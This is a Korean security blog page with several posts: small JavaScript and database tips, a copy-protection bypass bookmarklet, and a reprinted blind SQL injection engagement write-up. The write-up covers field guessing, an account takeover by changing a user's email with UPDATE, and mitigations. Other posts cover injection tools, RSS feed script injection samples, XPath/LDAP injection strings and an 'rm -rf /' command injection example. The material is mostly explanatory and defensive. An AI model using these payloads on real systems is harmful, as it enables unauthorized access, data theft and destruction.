Search Results for '전체 분류'

2064 posts related to '전체 분류'

2009/08/26 프레임을 사용하는 페이지에서 직접 페이지로 들어오는걸 막는법
2009/08/26 웹페이지 복사 방지 해지 하는 법 1
2009/08/26 v$filestat로 디스크 I/O 를 확인해보자 1
2009/08/26 MYSQL 서버 캐릭셋이 EUCKR이 아닐경우 클라이언트 설정
2009/08/26 SQL Injection 여러 유형
2009/08/26 SQL Injection을 보안하기위한 고찰
2009/08/26 Absinthe Blind SQL Injection Tool
2009/08/26 SQL Power Injector
2009/08/26 Hacking RSS and Atom Feed Implementations
2009/08/26 Malicious Code Injection: It’s Not Just for SQL Anymore
2009/08/26 웹 어플리케이션 보안 테스트 툴
2009/08/26 제로보드 취약점 총정리
2009/08/26 Advanced SQL Injection 한글판
2009/08/26 다양한 방법의 XSS 2
2009/08/26 포트 목록 PORT 목록
2009/08/26 TCP/UDP 스캔
2009/08/26 사용중인 포트검색하기
2009/08/26 로컬에 저장된 쿠키정보 보기
2009/08/26 강추! 구글검색을 이용한 해킹 방어
2009/08/26 구굴핵스
2009/08/26 태그장난
2009/08/26 Cookie Sniffing 에 사용될 수 있는 자동 공격 프로그램
2009/08/26 MHTML 취약점을 이용한 해커들의 공격
2009/08/26 WebKnight를 이용한 SQL Injection 공격 차단
2009/08/26 필터를 이용하여 HttpSevletRequest 에 validate를 추가하자!
2009/08/26 Char를 이용한 SQL Injection
2009/08/26 Web Hacking 5탄 Log Injection
2009/08/26 Web Hacking 4탄 쿠키취약점 1
2009/08/26 Web Hacking 3탄 구멍난 자바스크립트
2009/08/26 Web Hacking 2탄 파일조작 1

<< Previous Page 1 ... 40 41 42 43 44 45 46 47 48 ... 69 Next Page >>

프레임을 사용하는 페이지에서 직접 페이지로 들어오는걸 막는법

프로그래밍/프로그램 팁 관련 | 2009/08/26 17:53

프레임을 사용하는 페이지에서 직접 페이지로 들어오는걸 막는법

프레임 안에 있는 각 페이지에 아래 자스소스를 넣어두면
페이지를 직접 부르는 경우 항상홈 페이지로 가게 되므로 프레임을 부르게 됩니다.

if (top == self) self.location.href = "http://www.jakartaproject.com";

</script>

from http://www.happyscript.net/Blog/view.asp?rIdx=3400&page=1&hbIdx=3427

No trackbacks, No comments.

웹페이지 복사 방지 해지 하는 법

프로그래밍/프로그램 팁 관련 | 2009/08/26 17:51

주소창에 자바스크립트입력으로 복사 방지를 무력하게 하는 방법입니다.

예전부터 사용하고있는데 유용한것같아서 올립니다.

주소창에 글 붙여넣기한다음에 엔터를 치면 "ok"라고 뜬뒤로 복사 가능합니다.

javascript:function r(d){d.oncontextmenu=null;d.onselectstart=null;d.ondragstart=null;d.onkeydown=null;d.onmousedown=null; d.body.oncontextmenu=null;d.body.onselectstart=null;d.body.ondragstart=null;d.body.onkeydown=null; d.body.onmousedown=null;};function unify(w){r(w.document);if(w.frames.length>0){for(var i=0;i<w.frames.length;i++){try{unify(w.frames[i].window);}catch(e){}};};};unify(self);alert("ok");

No trackbacks, 1 Comment

v$filestat로 디스크 I/O 를 확인해보자

프로그래밍/리눅스 & MY-SQL | 2009/08/26 17:50

v$filestat로 디스크 I/O 를 확인해보자

v$filestat을 조회하여 각 디스크 파일의 디스크 I/O를 확인 할 수 있습니다

--데이터파일별로 보기

SELECT PHYRDS, /* 수행된 물리적 읽기 수 */

PHYWRTS, /* 수행된 물리적 쓰기 수 */

PHYBLKRD, /* 물리적 블럭 읽기 수 */

PHYBLKWRT, /* 물리적 블럭 쓰기 수 */

READTIM, /* 읽기에 사용된 시간 */

WRITETIM, /* 쓰기에 사용된 시간 */

NAME
FROM v$datafile T1,

v$filestat T2
WHERE T1.FILE# = T2.FILE#
;

--테이블 스페이스별로 보기

SELECT TABLESPACE_NAME,

FILE_NAME,

PHYRDS,

PHYWRTS

FROM DBA_DATA_FILES T1,

v$filestat T2

WHERE T1.FILE_ID = T2.FILE#
;

PHYRDS PHYWRTS PHYBLKRD PHYBLKWRT READTIM WRITETIM    NAME
5615139 7413446 21309950       7413568 1864856 28843385 /dev/XXX_data01
3433596 2731695 3550527    2731701       987234    11328831 /dev/XXX_index01

읽기나 쓰기 쏠림 디스크가 있다면 적절히 조절해 주는것이 바람직 하다

특히 읽기가 많은 디스크의 경우에는 빠른 I/O를 위해 처리속도가 빠른 디스크에 두는것이 좋다

No trackbacks, 1 Comment

MYSQL 서버 캐릭셋이 EUCKR이 아닐경우 클라이언트 설정

프로그래밍/리눅스 & MY-SQL | 2009/08/26 17:49

MYSQL 서버 캐릭셋이 EUCKR이 아닐경우

클라이언트 설정 파라미터

SET CHARACTER_SET_CLIENT = 'EUCKR';
SET CHARACTER_SET_RESULTS = 'EUCKR';
SET COLLATION_CONNECTION = @@COLLATION_DATABASE;

이후 한글이 잘 들어감

No trackbacks, No comments.

SQL Injection 여러 유형

해킹&보안/SQL 인젝션 | 2009/08/26 17:48

The Target Intranet

This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.

The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.

When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.

So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.

We speculate that the underlying SQL code looks something like this:

SELECT fieldlist
  FROM table
 WHERE field = '$EMAIL';

Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.

When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:

SELECT fieldlist
  FROM table
 WHERE field = 'steve@unixwiz.net'';

when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.

Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:

SELECT fieldlist
  FROM table
 WHERE field = 'anything' OR 'x'='x';

Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).

But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:

Your login information has been mailed to random.person@example.com.

Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.

We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:

"Your login information has been mailed to email"
"We don't recognize your email address"
Server error

The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.

Schema field mapping

The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.

So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:

SELECT fieldlist
  FROM table
 WHERE field = 'x' AND email IS NULL; --';

The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.

If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.

Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.

Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.

Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.

SELECT fieldlist
  FROM table
 WHERE email = 'x' AND userid IS NULL; --';

As a result of this process, we found several valid field names:

email
passwd
login_id
full_name

There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?

Finding the table name

The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.

A standalone query of

SELECT COUNT(*) FROM tabname

Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:

SELECT email, passwd, login_id, full_name
  FROM table
 WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' AND members.email IS NULL; --';

When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

Finding some users

At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.

The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.

The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.

We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' OR full_name LIKE '%Bob%';

Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.

Ultimately, we may only need one valid email address to leverage our way in.

Brute-force password guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.

We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'bob@example.com' AND passwd = 'hello123';

This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.

This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

The database isn't readonly

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.

The most drastic example is:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x'; DROP TABLE members; --';  -- Boom!

The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.

This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.

This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
        INSERT INTO members ('email','passwd','login_id','full_name') 
        VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';

Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:

We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
The web application user might not have INSERT permission on the members table.
There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.

In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.

A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.

We ended up going down a different road.

Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.

From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
      UPDATE members
      SET email = 'steve@unixwiz.net'
      WHERE email = 'bob@example.com';

After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.

We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:

From: system@example.com
To: steve@unixwiz.net
Subject: Intranet login

This email is in response to your request for your Intranet log in information.
Your User ID is: bob
Your password is: hello

Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.

We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.

We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.

Other Approaches

In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.

We are also aware that not all approaches work with all databases, and we can touch on some of them here.

Use xp_cmdshell: Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.; What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.
Map out more database structure: Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.; Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.; One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.

Mitigations

We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.

Sanitize the input

It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.

The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.

Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:

abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+

There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.

Sidebar on email addresses

It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about.

The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses.

Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.

Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):

SELECT fieldlist
  FROM table
 WHERE id = 23 OR 1=1;  -- Boom! Always matches!

In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.

Escape/Quotesafe the input

Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.

One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:

SELECT fieldlist
  FROM customers
 WHERE name = 'Bill O''Reilly';  -- works OK

However, this naive approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by doubling the quotes, we get:

SELECT fieldlist
  FROM customers
 WHERE name = '\''; DROP TABLE users; --';  -- Boom!

The no_no_no_expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.

Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.

Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value).

These methods must be used.

Use bound parameters (the PREPARE statement)

Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.

Later, this prepared query is "executed" with a list of parameters:

Example in perl

$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);

Thanks to Stefan Wagner, this demonstrates bound parameters in Java:

Insecure version

Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
                             + formField); // *boom*

Secure version

PreparedStatement ps = connection.prepareStatement(
    "SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();

Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.

There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.

Limit database permissions and segregate users

In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.

The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.

Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.

It should go almost without saying that sa rights should never be used for any web-based application.

Use stored procedures for database access

When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).

By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).

For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.

Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.

Isolate the webserver

Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.

For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.

Configure error reporting

The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.

This information is useful to developers, but it should be restricted - if possible - to just internal users.

Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.

We'd like to emphasize that though we chose the "Forgotten password" link to attack in this particular case, it wasn't really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the "Forgotten password" aspsect of the presentation.

This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement. We've seen other papers on SQL injection discuss the technical background, but still only provide the "money shot" that ultimately gained them access.

But that final statement required background knowledge to pull off, and the process of gathering that information has merit too. One doesn't always have access to source code for an application, and the ability to attack a custom application blindly has some value.

No trackbacks, No comments.

SQL Injection을 보안하기위한 고찰

해킹&보안/보안관련 | 2009/08/26 17:48

Advanced_Topics_on_SQL_Injection_Protection

1.1. Input Validation

2.2. Static query statement

3.3. Least Privilege

4.4. Code Verification

5.5. Web Application Gateway

6.6. SQL Driver Proxy

7.7. MISC methods
Advanced_Topics_on_SQL_Injection_Protection.ppt

No trackbacks, No comments.

Absinthe Blind SQL Injection Tool

해킹&보안/해킹툴 | 2009/08/26 17:46

Absinthe_1_4_1_Windows.zip

Absinthe is a gui-based tool that automates the process of downloading the schema & contents of a database that is vulnerable to Blind SQL Injection.

Absinthe does not aid in the discovery of SQL Injection holes. This tool will only speed up the process of data recovery.

Features:

Automated SQL Injection
Supports MS SQL Server, MSDE, Oracle, Postgres
Cookies / Additional HTTP Headers
Query Termination
Additional text appended to queries
Supports Use of Proxies / Proxy Rotation
Multiple filters for page profiling
Custom Delimiters

만들어 진지는 좀 오래되었지만 꽁짜입니다

단순히 쉽게 테스트해보기는 좋네요

injection을 삽입할 파라미터를 추가(Injectable Parameter 체크)후 Initialize Injection 버튼을 클릭하세요

No trackbacks, No comments.

SQL Power Injector

해킹&보안/해킹툴 | 2009/08/26 17:45

SPInjv1_1.msi

No trackbacks, No comments.

Hacking RSS and Atom Feed Implementations

해킹&보안/WEB 해킹 | 2009/08/26 17:44

Hacking RSS and Atom Feed Implementations

RSS나 ATOM같은 XML 서비스 사용에 있어서 reader가 web based feed 라면 client역시 충분히 공격받을 수 있습니다

예) no_no_javascript Injection

<?xml version="1.0" encoding="ISO-8859-1"?> <rss version="2.0"> <channel>
<title> <script>alert('Channel Title')</script>
</title>
<link>http://www.mycoolsite.com/
</link>
<description> <script>alert('Channel Description')</script> </description>
<language>en-us
</language>
<copyright>Mr Cool 2006</copyright>
<pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate> <ttl>10</ttl> <image>
<title> <script>alert('Channel Image Title')</script>
</title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>

<height>33</height>
<description> <script>alert('Channel Image Description')</script> </description>
</image>
<item>
<title> <script>alert('Item Title')</script> </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> <script>alert('Item Description')</script> </description>
<pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate> <guid>http://mysite/Mrguid</guid>
</item>
</channel>
</rss>

위와같은 형태로 Javascirpt를 실행하여 불법S/W를 설치하거나, 쿠키등을 훔치게 된다

그럼 아래와 같이 만들면 어떻게 될까요?

<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0">
<channel>
<title> <script>alert('Channel Title')</script> </title>
<link>http://www.mycoolsite.com/</link>
<description> <script>alert('Channel Description')</script>
</description>
<language>en-us</language>
<copyright>Mr Cool 2006</copyright>
<pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate>

<ttl>10</ttl>
<image>
<title> <script>alert('Channel Image Title')</script> </title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>
<height>33</height>
<description> <script>alert('Channel Image Description')</script>
</description>
</image>
<item>
<title> <script>alert('Item Title')</script> </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> <script>alert('Item Description')</script> </description>
<pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate>
<guid>http://mysite/Mrguid</guid>
</item>
</channel>
</rss>

대부분의 RSS viewer들은 <를 <로, >를 >로 컨버팅한 후 content를 browser 기반의 component로 실행하기 때문에 위와 같이 변경한다 해도 스크립트는 실행되게 된다

기타 자세한 내용은 첨부파일을 참조하세요 ^^

 HackingFeeds.pdf

No trackbacks, No comments.

Malicious Code Injection: It’s Not Just for SQL Anymore

해킹&보안/SQL 인젝션 | 2009/08/26 17:43

SQL뿐 아니라 LDAP에 대한 Injection code를 소개합니다

Malicious Code Injection: It’s Not Just for SQL Anymore

by: Bryan Sullivan

More and more, developers are becoming aware of the threats posed by malicious code, and SQL injection in particular, and by leaving code vulnerable to such attacks. However, while SQL is the most popular type of code injection attack, there are several others that can be just as dangerous to your applications and your data, including LDAP injection and XPath injection. While these may not be as well-known to developers, they are already in the hands of hackers, and they should be of concern.

In addition, much of the common wisdom concerning remediation of malicious code injection attacks is inadequate or inaccurate. Following these flawed recommendations will not improve the security of your application, but will only leave you with a false sense of security until the next time your application is compromised and your data is stolen, erased, or tampered with. It is important for developers to acquaint themselves with all code injection types that exist as well as the proper ways to fix any vulnerabilities to malicious code.

The Basic Premise of All Code Injection Types

Many people mistakenly think that they are safe from malicious code injection attacks because they have firewalls or SSL encryption. However, while a firewall can protect you from network level attacks, and while SSL encryption can protect you from an outside user intercepting data between two points, neither of these options offers any real protection from code injection attacks. All code injection attacks work on the same principle: a hacker piggybacks malicious code onto good code through an input field in the application. Therefore, the protection instead has to come from the code within the application itself.

There are many motives that hackers using malicious code injection attacks may have. They may wish to access a website or database that was intended only for a certain set of users. They may also wish to access a database in order to steal such sensitive information as social security numbers and credit cards. Other hackers may wish to tamper with a database – lowering prices, for example, so they can steal items from an e-commerce site with ease. And once an attacker has gained access to a database by using malicious code, he may even be able to delete it completely, causing chaos for the business that has been attacked.

The root of all code injection problems is that developers put too much trust into the users of applications. A developer should never trust the user to operate the application in a safe manner. There will always be someone who is looking to use malicious code in an exploitative manner.

Looking Beyond SQL Injections

Aside from SQL injections, there are several other types of malicious code injection attacks with which developers must become familiar. Three of these types of dangerous malicious code injections are XPath injection, LDAP injection, and command execution injection.

An XPath injection attack is similar to an SQL injection attack, but its target is an XML document rather than an SQL database. The attacker inputs a string of malicious code meant to trick the application into providing access to protected information. If your website uses an XML (Extensible Markup Language) document to store data and user input is included in an XPath query against that document, you may be vulnerable to an XPath injection.

For example, consider the following XML document used by an e-commerce website to store customers’ order history:

<? xml version = " 1.0" encoding =" utf-8" ?>
< orders >
< customer id = " 1" >
< name > Bob Smith </ name >
<email>bob.smith@bobsmithinc.com</email>
<creditcard> 1234567812345678 </creditcard>
<order>
<item>
<quantity> 1 </quantity>
<price> 10.00 </price>
<name> Sprocket </name>
</item >
<item >
<quantity> 2 </quantity>
<price> 9.00 </price>
<name> Cog </name>
</item>
</order>
</ customer >
…
</ orders >

The website allows its users to search for items in their order history based on price. The XPath query that the application performs looks like this:

string query = "/orders/customer[@id='" +
customerId + "']/order/item[price >= '" +
priceFilter + "']";

If both the customerId and priceFilter values have not been properly validated, an attacker will be able to exploit the XPath injection vulnerability. Entering the following value for either value will select the entire XML document and return it to the attacker:

'] | /* | /foo[bar='

With one simple request, the attacker has stolen personal data including e-mail addresses and credit card numbers for every customer that has ever used the website. Blind XPath injection attacks, like blind SQL injection attacks, are possible, but in situations like our example they’re not even necessary. XPath queries do not throw errors when the search elements are missing from the XML document in the same way that SQL queries do when the search table or columns are missing from the SQL database. Because of the forgiving nature of XPath, it can actually be easier for an attacker to use malicious code to perform an XPath injection attack than an SQL injection attack.

LDAP Injection and Command Execution
Like SQL injection for SQL databases and XPath injection for XML documents, LDAP injection attacks provide the malicious user with access to an LDAP directory, through which he or she can extract information that would normally be hidden from view. For example, an attacker could possibly uncover personal or password-protected information about a professor listed in the directory of a collegiate site. A hacker using this technique may rely on monitoring the absence and presence of error messages returned from the malicious code injection to further pursue an attack.

Some examples of LDAP injection clauses are:

*
)(|(cn=*)
)(|(objectclass=*)
)(|(homedirectory=*)

Finally, command execution can also provide the means for malicious code injection. Many times, a website calls out to another program on the system to accomplish some kind of goal. For example, in a UNIX system, the finger command can be used to find out details about when a user was last on the system, for how long, and so on. A user could, in this case, attach malicious code to the finger command and gain access to the system and its data process. So, the command:

finger bobsmith

becomes:

finger bobsmith; rm –rf /

which will attempt to delete every file on the system.

Preventative Measures: The Good and the Bad
Several preventative actions have commonly been suggested to developers to protect applications from malicious code injection, but many of these have proven inadequate. For example, developers are told that turning off error messages can prevent code injection attacks, which is untrue. Some code injection attacks do not rely on error messages at all. These attacks are called “blind” injections. Since blind injection attacks can succeed even if error messages are suppressed, turning off error messages simply makes the application more obscure for the legitimate user while leaving data vulnerable to attack.

